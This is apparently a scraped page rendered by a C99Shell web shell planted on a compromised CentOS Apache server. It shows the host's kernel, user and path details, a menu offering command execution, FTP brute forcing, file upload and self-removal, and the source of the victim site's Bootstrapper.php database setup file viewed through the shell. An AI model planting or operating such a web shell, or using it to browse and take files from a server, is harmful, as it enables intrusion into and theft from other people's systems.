!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/core/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Bootstrapper.php (1.41 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
require_once(DOCTRINE_PATH.'/Doctrine.php');
    
//require_once(AMFPHP_PATH.'/globals.php');

    
class Bootstrapper
    
{
        public 
$conn;
        public 
$manager;

        private static 
$_instance;

        public function 
__construct()
        {
            if(isset(
self::$_instance))
                
trigger_error("You must not call the constructor directly! This class is a Singleton");
        }

        private static function 
init()
        {
            
spl_autoload_register(array('Doctrine''autoload'));
            
spl_autoload_register(array('Doctrine_Core''modelsAutoload'));

            
self::$_instance->manager Doctrine_Manager::getInstance();

            
self::$_instance->manager->setAttribute(Doctrine_Core::ATTR_MODEL_LOADINGDoctrine_Core::MODEL_LOADING_CONSERVATIVE);
            
self::$_instance->manager->setAttribute(Doctrine_Core::ATTR_AUTO_ACCESSOR_OVERRIDEtrue);
            
self::$_instance->manager->setAttribute(Doctrine_Core::ATTR_AUTOLOAD_TABLE_CLASSEStrue);

            
$connectionString DB_ENGINE."://".
                                
DB_USER.":".
                                
DB_PASSWORD.
                                
"@".DB_HOST."/".
                                
DB_NAME;
            
self::$_instance->conn Doctrine_Manager::connection($connectionStringCONNECTION_NAME);
            
self::$_instance->conn->setCharset('latin1');
            
Doctrine_Core::loadModels(BACKEND_MODELS_PATH);
        }

        public static function 
getInstance()
        {
            if(!isset(
self::$_instance))
            {
                
self::$_instance = new self();
                
self::init();
            }

            return 
self::$_instance;
        }
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0035 ]--